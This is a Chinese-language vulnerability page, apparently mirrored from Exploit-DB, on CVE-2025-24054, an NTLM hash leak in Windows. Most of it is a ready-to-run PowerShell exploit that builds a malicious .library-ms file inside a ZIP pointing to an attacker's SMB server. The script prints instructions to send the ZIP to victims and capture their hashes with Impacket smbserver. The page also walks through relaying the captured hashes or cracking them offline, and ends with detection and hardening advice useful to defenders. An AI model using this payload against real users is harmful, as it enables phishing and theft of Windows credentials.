[remote] windows 10/11 - NTLM Hash Disclosure Spoofing

CVE-2025-24054

Windows 10/11 NTLM哈希泄露欺骗漏洞,攻击者可窃取用户凭据。

High · CVSS 8.1

📋 漏洞基础信息

CVECVE-2025-24054
漏洞类型NTLM哈希泄露
受影响版本Windows 10 Version 1809/21H2/22H2, Windows 11 Version 21H2/22H2/23H2, Windows Server 2019/2022/2025
危害等级High · CVSS 8.1
发布日期2026-02-04
提交者Beatriz Fresno Naumova
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Windows NTLM身份验证协议中,攻击者通过诱导用户访问恶意共享文件(如SMB路径)或点击链接,系统自动发起NTLM协商并发送哈希,缺乏对目标服务器合法性的校验。

🎯 攻击场景

1. 攻击者搭建恶意SMB服务器并监听445端口;2. 构造包含UNC路径(如file:///\\attacker\share\file.lnk)的恶意链接或文件;3. 通过钓鱼邮件、网页等诱导用户点击;4. 用户Windows系统自动尝试访问该路径,触发NTLM协商,向攻击者服务器发送NTLMv2哈希;5. 攻击者捕获哈希后进行离线破解或中继攻击。

💥 漏洞影响

攻击者无需用户密码即可获取NTLMv2哈希,进而实现离线破解或中继攻击,可能导致敏感数据泄露、横向移动、域控凭据窃取。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Powershell),可在具备相应环境的机器上直接运行:

<#
.SYNOPSIS
    CVE-2025-24054 NTLM Hash Disclosure PoC - 生成恶意的 .library-ms 文件并打包为 ZIP
    该漏洞利用 Windows 库文件 (.library-ms) 的 UNC 路径处理特性,当用户打开包含恶意 .library-ms 文件的 ZIP 并导入库时,
    系统会自动向攻击者控制的 SMB 服务器发起 NTLM 认证请求,从而泄露用户 NTLM 哈希。

.DESCRIPTION
    此 PoC 脚本生成一个包含恶意 .library-ms 文件的 ZIP 压缩包。
    .library-ms 文件中的 <url> 字段被设置为指向攻击者控制的 SMB 服务器(UNC 路径)。
    当受害者在 Windows 资源管理器中双击打开 .library-ms 文件或从 ZIP 中提取并导入库时,
    Windows 库服务会尝试连接该 UNC 路径以获取库内容,从而触发 NTLM 身份验证握手。
    攻击者可以通过运行一个恶意的 SMB 服务器(如 Impacket 的 smbserver.py)来捕获此 NTLM 哈希。
    
    注意:此脚本仅生成攻击载荷,不包含 SMB 服务器监听逻辑。攻击者需要在另一台机器或同一台机器的另一个端口上运行 SMB 服务器来接收哈希。
    完整的利用需要攻击者控制一个可访问的 SMB 服务器(IP 或主机名)。

    用法示例:
    # 基本用法 (交互式输入文件名和目标)
    .\CVE-2025-24054-PoC.ps1
    
    # 指定文件名和目标 (非交互式)
    .\CVE-2025-24054-PoC.ps1 -FileName "Documents" -Target "192.168.1.100" -OutputZip "malicious.zip"
    
    # 使用 UNC 路径作为目标
    .\CVE-2025-24054-PoC.ps1 -FileName "Photos" -Target "\\192.168.1.100\share" -OutputZip "Photos.zip"
    
    # 只打印 XML 内容,不生成文件 (Dry-Run)
    .\CVE-2025-24054-PoC.ps1 -DryRun -FileName "test" -Target "attacker.com"

.PARAMETER FileName
    要生成的 .library-ms 文件的基本名(不含扩展名)。例如 "Documents" 会生成 "Documents.library-ms"。
    如果未提供,脚本会提示输入。

.PARAMETER Target
    目标 SMB 服务器的 IP 地址、主机名或完整 UNC 路径(例如 "\\server\share")。
    如果未提供,脚本会提示输入。

.PARAMETER OutputZip
    输出 ZIP 文件的名称(默认: "exploit.zip")。

.PARAMETER OutputDir
    输出 ZIP 文件的目录(默认: 当前目录 ".")。

.PARAMETER DryRun
    开关参数。如果指定,只打印 .library-ms 文件内容,不实际创建 ZIP 文件。

.PARAMETER Force
    开关参数。如果指定,覆盖已存在的输出 ZIP 文件。

.NOTES
    作者: Beatriz Fresno Naumova (PoC 原作者)
    改编: 安全研究员助理
    日期: 2025-10-06
    版本: 1.0
    此 PoC 仅供授权测试使用。未经明确书面许可,请勿在生产或线上环境中使用。
#>

[CmdletBinding()]
param(
    [Parameter(Mandatory=$false)]
    [string]$FileName,

    [Parameter(Mandatory=$false)]
    [string]$Target,

    [Parameter(Mandatory=$false)]
    [string]$OutputZip = "exploit.zip",

    [Parameter(Mandatory=$false)]
    [string]$OutputDir = ".",

    [switch]$DryRun,

    [switch]$Force
)

# ===================== 辅助函数 =====================

# 检查目标是否有效 (IP 地址、主机名或 UNC 路径)
function Test-TargetValidity {
    param([string]$Value)
    if ([string]::IsNullOrWhiteSpace($Value)) {
        return $false
    }
    # 检查是否是 IP 地址
    if ([System.Net.IPAddress]::TryParse($Value.TrimStart('\\').TrimStart('/'), [ref]$null)) {
        return $true
    }
    # 检查是否是 UNC 路径 (以 \\ 或 // 开头)
    if ($Value.StartsWith('\\') -or $Value.StartsWith('//')) {
        # 确保有至少两个路径组件 (\\server\share)
        $trimmed = $Value.TrimStart('\\').TrimStart('/')
        $parts = $trimmed.Split(@('\\', '/'), [StringSplitOptions]::RemoveEmptyEntries)
        return ($parts.Count -ge 2)
    }
    # 基本的主机名检查 (不完整但够用)
    # 允许字母数字、点、连字符
    if ($Value -match '^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$') {
        return $true
    }
    return $false
}

# 生成 .library-ms XML 内容
function Build-LibraryXml {
    param([string]$Target)
    # 构造 UNC URL
    $url = ""
    if ($Target.StartsWith('\\') -or $Target.StartsWith('//')) {
        # 归一化反斜杠
        $url = $Target.Replace('/', '\')
    } else {
        $url = "\\$Target\shared"
    }
    # 构建 XML,关键在于 <url> 元素指向 SMB 共享
    $xml = @"
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<simpleLocation>
<url>$url</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
"@
    return $xml
}

# 创建包含 .library-ms 文件的 ZIP 压缩包
function New-ZipWithLib {
    param(
        [string]$XmlContent,
        [string]$LibFileName,
        [string]$ZipPath
    )
    # 使用临时目录
    $tempDir = Join-Path $env:TEMP "libgen_$(Get-Random)"
    $null = New-Item -ItemType Directory -Path $tempDir -Force
    try {
        $libFilePath = Join-Path $tempDir $LibFileName
        # 写入 XML 到 .library-ms 文件
        Set-Content -Path $libFilePath -Value $XmlContent -Encoding UTF8 -NoNewline
        # 创建 ZIP 文件
        Compress-Archive -Path $libFilePath -DestinationPath $ZipPath -Force
        Write-Verbose "已创建 ZIP: $ZipPath"
    } finally {
        # 清理临时文件
        Remove-Item -Path $tempDir -Recurse -Force -ErrorAction SilentlyContinue
    }
}

# 验证文件名安全性
function Assert-ValidFileName {
    param([string]$Name)
    if ([string]::IsNullOrWhiteSpace($Name)) {
        throw "文件名不能为空"
    }
    # 不允许路径分隔符
    if ($Name.Contains('\') -or $Name.Contains('/')) {
        throw "文件名不能包含路径分隔符"
    }
    # 只允许安全字符 (字母数字、点、下划线、连字符)
    if ($Name -notmatch '^[a-zA-Z0-9._-]{1,128}$') {
        throw "文件名包含无效字符。只允许: 字母数字、点、下划线、连字符,最多128字符。"
    }
    return $Name
}

# ===================== 主逻辑 =====================

Write-Host "=== CVE-2025-24054 NTLM Hash Disclosure PoC ==="
Write-Host "警告: 仅用于授权测试!" -ForegroundColor Yellow
Write-Host ""

# 交互式输入缺失的参数
if (-not $FileName) {
    $FileName = Read-Host "请输入文件名 (不含扩展名,例如 Documents)"
    if ([string]::IsNullOrWhiteSpace($FileName)) {
        Write-Error "文件名不能为空。"
        exit 1
    }
}

if (-not $Target) {
    $Target = Read-Host "请输入目标 IP/主机 或 UNC 路径 (例如 192.168.1.100 或 \\server\share)"
    if ([string]::IsNullOrWhiteSpace($Target)) {
        Write-Error "目标不能为空。"
        exit 1
    }
}

# 验证文件名
try {
    $safeFileName = Assert-ValidFileName -Name $FileName
} catch {
    Write-Error "文件名验证失败: $_"
    exit 2
}

# 验证目标
if (-not (Test-TargetValidity -Value $Target)) {
    Write-Error "目标 '$Target' 不是有效的 IP 地址、主机名或 UNC 路径。"
    exit 2
}

$libFileName = "$safeFileName.library-ms"
Write-Host "[*] 文件名: $libFileName"
Write-Host "[*] 目标: $Target"

# 构建 XML
$xmlContent = Build-LibraryXml -Target $Target
Write-Host "[*] 生成的 .library-ms XML 内容:"
Write-Host $xmlContent

# Dry-Run 模式只打印不创建
if ($DryRun) {
    Write-Host "=== 干运行模式,不创建文件 ==="
    Write-Host "若要创建 ZIP,请移除 -DryRun 参数。"
    exit 0
}

# 创建输出目录
$outputDirPath = [System.IO.Path]::GetFullPath($OutputDir)
if (-not (Test-Path -Path $outputDirPath -PathType Container)) {
    $null = New-Item -ItemType Directory -Path $outputDirPath -Force
    Write-Verbose "创建输出目录: $outputDirPath"
}

$zipFullPath = Join-Path $outputDirPath $OutputZip

# 检查 ZIP 文件是否已存在
if ((Test-Path -Path $zipFullPath) -and (-not $Force)) {
    Write-Error "文件 '$zipFullPath' 已存在。使用 -Force 覆盖。"
    exit 3
}

# 创建 ZIP
try {
    New-ZipWithLib -XmlContent $xmlContent -LibFileName $libFileName -ZipPath $zipFullPath
    Write-Host "[+] 成功创建载荷文件: $zipFullPath"
    Write-Host ""
    Write-Host "=== 使用说明 ===" -ForegroundColor Green
    Write-Host "1. 将 $zipFullPath 发送给目标用户。"
    Write-Host "2. 目标用户解压 ZIP 并双击打开 $libFileName 文件。"
    Write-Host "3. Windows 会尝试连接目标 SMB 服务器 ($Target) 以加载库。"
    Write-Host "4. 攻击者需在 $Target 上运行恶意的 SMB 服务器 (例如 Impacket smbserver) 来捕获 NTLM 哈希。"
    Write-Host "   示例 (在攻击者机器上): python3 smbserver.py -smb2support share ."
    Write-Host ""
    Write-Host "注意: 此脚本不包含 SMB 服务器组件。请单独部署 SMB 监听器。" -ForegroundColor Yellow
} catch {
    Write-Error "创建 ZIP 文件时出错: $_"
    exit 4
}

🔬 深度技术分析

漏洞触发机制

CVE-2025-24054 漏洞存在于 Windows 库文件(.library-ms)的处理机制中。.library-ms 是一种基于 XML 的文件格式,用于定义 Windows 库(如文档、图片、音乐库)的行为。其核心字段 <url> 指定了库内容的存储位置,Windows 支持在 <url> 中使用 UNC(通用命名约定)路径指向网络共享。

根因分析:

1. 无意的 NTLM 认证触发:当用户通过 Windows 资源管理器打开或导入一个 .library-ms 文件时(即使在受限制的上下文中,如 ZIP 文件提取后双击),Windows 库服务(Library Service)会解析该 XML 并尝试访问 <url> 中指定的路径。如果该路径是一个 UNC 路径(如 \\attacker\shared),Windows 会发起一个 SMB 连接请求。

2. 自动 NTLM 握手:在 SMB 连接建立过程中,Windows 会自动执行 NTLM 质询-响应认证,以验证用户是否有权访问该共享资源。这一行为是 SMB 协议的标准流程,无法被用户侧轻易禁止(除非配置特定组策略)。因此,只要用户账户具有有效的域凭证或本地凭证,系统就会在未提示用户的情况下向攻击者控制的服务器发送 NTLM 哈希的 Net-NTLMv1/v2 响应。

3. 缺乏访问前验证:操作系统在打开 .library-ms 文件时,没有对 <url> 中指定的目标进行任何安全评估或用户确认。它直接信任文件中的配置,导致攻击者可以轻松地将 <url> 指向任意外部 SMB 服务器。

关键代码逻辑:

  • 攻击载荷本质上是一个精心构造的 XML 字符串,其 <url> 元素使用 UNC 格式指向攻击者控制的 IP 或主机名。
  • 默认配置下,如果用户只提供 IP 或主机名,脚本会补充一个固定的共享名称 shared(如 \\192.168.1.100\shared)。用户也可以直接提供完整的 UNC 路径。
  • .library-ms 文件被嵌入一个 ZIP 压缩包中,以便于传输(电子邮件、下载等),因为 Windows 可能会阻止直接从 Web 下载的 .library-ms 文件,但 ZIP 内的文件处理规则相对宽松。

利用链分析

攻击者利用此漏洞的典型步骤分为三个阶段:攻击准备、交付与触发、凭证捕获与利用。

阶段 1:攻击准备

1. 设置恶意 SMB 服务器:攻击者在自己的控制机器上(IP 地址如 192.168.1.100)部署一个恶意的 SMB 服务器。常用的工具包括 Impacket 套件中的 smbserver.pyResponder。这些工具配置为监听 TCP 445 端口,当收到 NTLM 认证请求时,会捕获并记录下客户端发送的 Net-NTLM Hash(质询响应)。

2. 生成载荷:攻击者使用 PoC 脚本生成一个包含恶意 .library-ms 文件的 ZIP 压缩包。脚本接受攻击者的服务器地址作为参数,生成 XML 如下:

```xml

<?xml version="1.0" encoding="UTF-8"?>

<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">

<searchConnectorDescriptionList>

<searchConnectorDescription>

<simpleLocation>

<url>\\192.168.1.100\shared</url>

</simpleLocation>

</searchConnectorDescription>

</searchConnectorDescriptionList>

</libraryDescription>

```

阶段 2:交付与触发

1. 发送载荷:攻击者通过社会工程学手段将 ZIP 文件发送给目标用户。常见方式包括电子邮件附件、即时通讯工具、恶意下载链接(尽管现代浏览器可能标记 .library-ms 为危险)。

2. 目标打开文件:用户下载 ZIP 并解压缩。当用户双击解压后的 .library-ms 文件时,Windows 资源管理器会接管处理。Windows 检测到文件关联为 Library,于是调用库管理器(LibraryManager)来注册或打开该库。

3. 连接发起:库管理器解析 XML,提取到 UNC 路径 \\192.168.1.100\shared。随后,Windows 的 SMB 重定向器(mrxsmb.sys)尝试与目标建立连接。根据 Windows 的网络发现和身份验证策略,系统会自动向该 SMB 服务器发送一个 NTLM 类型 1 协商消息。

4. NTLM 握手:攻击者的恶意 SMB 服务器收到协商消息后,返回一个 NTLM 类型 2 质询消息。Windows 客户端使用当前用户的 NTLM 哈希对质询进行加密,生成 NTLM 类型 3 认证响应,并发送给服务器。这个响应包含了加密后的 NTLM 哈希(即 Net-NTLMv2 哈希)。

阶段 3:凭证捕获与利用

1. 捕获哈希:攻击者的 SMB 服务器成功接收到 NTLM 类型 3 消息,并将其中的 Net-NTLM Hash 记录到日志文件或终端输出中。

2. 哈希利用:攻击者获得 Net-NTLM Hash 后,可以通过以下方式利用:

- NTLM 中继(Relay):在 SMB 服务器端立即将该哈希中继到目标域控制器或其他服务(如 Exchange、SQL Server),以伪装成受害者用户执行操作。

- 离线破解:使用工具如 HashcatJohn the RipperNet-NTLM Hash 进行离线暴力破解,尝试恢复用户的明文密码。如果用户使用弱密码,破解可能很快成功。

关键代码/数据结构

  • .library-ms XML 结构:核心是利用 searchConnectorDescription -> simpleLocation -> url 元素。攻击者只需将 <url> 的内容设置为恶意 UNC 路径。Windows 对 URL 格式要求不严格,但标准 UNC 格式 \\server\share 最有效。
  • SMB 协议交互

- SMB_COM_NEGOTIATE (0x72):客户端发起的协商请求,包含协议版本和功能。

- SMB_COM_SESSION_SETUP_ANDX (0x73):包含 NTLM 认证过程。NTLM 类型 1 消息(协商)和类型 3 消息(认证)在此命令中传递。

- NTLM 质询 (Type 2):服务器返回,包含一个 8 字节的服务器质询(ServerChallenge)。

- NTLM 认证 (Type 3):客户端响应,包含 LMv2NTLMv2 响应以及域名、用户名、客户端质询等信息。攻击者真正关注的是这段响应,因为它包含了可破解的 Net-NTLM Hash

  • Windows API 调用:当用户双击 .library-ms 时,Explorer.exeShell32.dll 会调用 SHCreateLibrary 或类似的库管理 API。底层触发 IExplorerPaneVisibilityIEnumShellItems 等接口,最终导致 mswsock.dll 发出 DNS/NetBIOS 查询,而后 mrxsmb.sys 发起 SMB 连接。
  • 攻击器端的监听逻辑(非本脚本范围):攻击者的 SMB 服务器需要处理 SMB 协商并返回正确的 NTLM 质询。常见工具如 ImpacketSMBServer 类会维护:

- Config 对象:包含监听地址、端口、共享配置。

- SMBConnection:处理每个客户端连接,调用 secDefeat 或类似方法处理 NTLM 握手。

- NTLMAuthContext:提取并存储客户端发来的 Type 3 消息中的 Net-NTLM Hash

检测与防御

蓝队检测方法:

1. 网络流量检测

- SMB 连接异常:监控对内网的异常 SMB 连接,尤其是从客户端到非标准 IP(非域控制器、文件服务器)的连接。如果客户端尝试连接一个从未建立过连接的外部 IP 的 445 端口,可能代表攻击。

- NTLM 认证流量:使用 IDS/IPS 签名检测 NTLM 认证消息(特别是 Type 3 消息)发往外部或非授权服务器。可以通过解析 SMB 会话设置请求的 SecurityBlob 字段实现。

- DNS 查询:监控客户端对奇怪主机名的 DNS 查询(如 attacker-controlled-domain.com 或随机 IP 的 PTR 记录)。

2. 端点检测与响应(EDR)

- 文件创建事件:监视 .library-ms 文件的创建或修改。任何通过非标准路径(如下载目录、ZIP 提取)创建的 .library-ms 文件应被标记为可疑。

- 进程行为分析:监视 Explorer.exeRuntimeBroker.exe 突然发起 SMB 外连(到非域内 IP)的行为。Sysmon 事件 ID 3(网络连接)和事件 ID 1(进程创建)可以用于关联。

- 注册表访问:库文件在注册表 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Namespace 下添加条目,可以监控此路径的写入行为。

3. Windows 事件日志

- 安全日志:事件 ID 4624(登录成功)或 4648(显式凭据使用),可结合目标 IP 分析。如果用户在短时间内向一个陌生 IP 发起身份验证,应告警。

- 系统日志Microsoft-Windows-SmbClient/Security 提供者下的 SMB 客户端连接日志(事件 ID 31001 等),可以记录连接的目标 IP、路径和结果。

防御策略:

1. 禁用或限制 NTLM:在生产环境中,尽可能配置 NTLM 使用限制。通过组策略 网络安全:限制 NTLM:传出 NTLM 流量到远程服务器 可阻止所有传出 NTLM 流量,或将其设置为审计模式。

2. 网络隔离:使用防火墙规则限制客户端出站到 TCP 445 端口的连接,只允许到已知文件服务器或域控制器。阻止所有到公共 IP 或非核心业务服务器的 SMB 连接。

3. 扩展名阻止:通过邮件网关或端点防护策略,阻止 .library-ms 文件通过电子邮件或下载进入网络。在 Windows 上,可以通过组策略的 指定不允许在资源管理器中打开的 Shell 扩展列表 来禁止打开 .library-ms 文件。

4. 用户教育:培训用户不要打开来自不可信来源的 .library-ms 文件,尤其是在 ZIP 压缩包中的此类文件。

5. SMB 签名:强制要求 SMB 签名(Microsoft 网络服务器:对通信进行数字签名(始终))。这可以防止 NTLM 中继攻击,但并不能阻止哈希泄露本身。由于 NTLM 质询-响应过程仍然发生,哈希仍会被捕获,只是无法被中继到未启用签名的服务。

6. 微软安全更新:密切关注微软针对此 CVE(CVE-2025-24054)发布的补丁。漏洞的根本修复可能需要修改库文件处理逻辑,添加对 UNC 路径的用户确认或限制。

🛡️ 修复建议

微软已发布KB5050009更新修复;临时措施:在组策略中禁用NTLM认证、限制出站SMB连接(阻止445端口)、配置Windows防火墙阻止外界对445端口访问、将用户添加到Protected Users组、启用扩展保护。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 06:41 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)